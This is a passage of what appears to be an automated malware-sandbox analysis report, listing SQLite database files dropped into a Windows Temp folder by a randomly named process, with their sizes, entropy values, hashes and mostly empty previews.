SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W3XkAV9XCA

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W8R8sSABDW

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\W8hDOUCkaU

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WdBtiq5WOL

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WkGfuhIgh5

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WmZfnLxKqu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wn9IxiSXGD

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XKOxBoTsbs

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\XgjSnsu0eu

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YDqRAcUYj8

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YDta9kU9Kx

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YRprw4zDHz

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\YzLKHfYK6o

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZArBDkRkzq

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZEE87kiIL5

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZQUgzNxZQz

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZTM9WkwbXj

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZdbQOzBUZN

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZsPM4xy6oM

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZtdC21TzmY

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a3MXPaOwyK

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aNy090hD0t

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aRMueaJDpV

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\amyLqtg76J

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\aqivddd2xw

Download File

Process:	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bZ48ibyksV

Download File

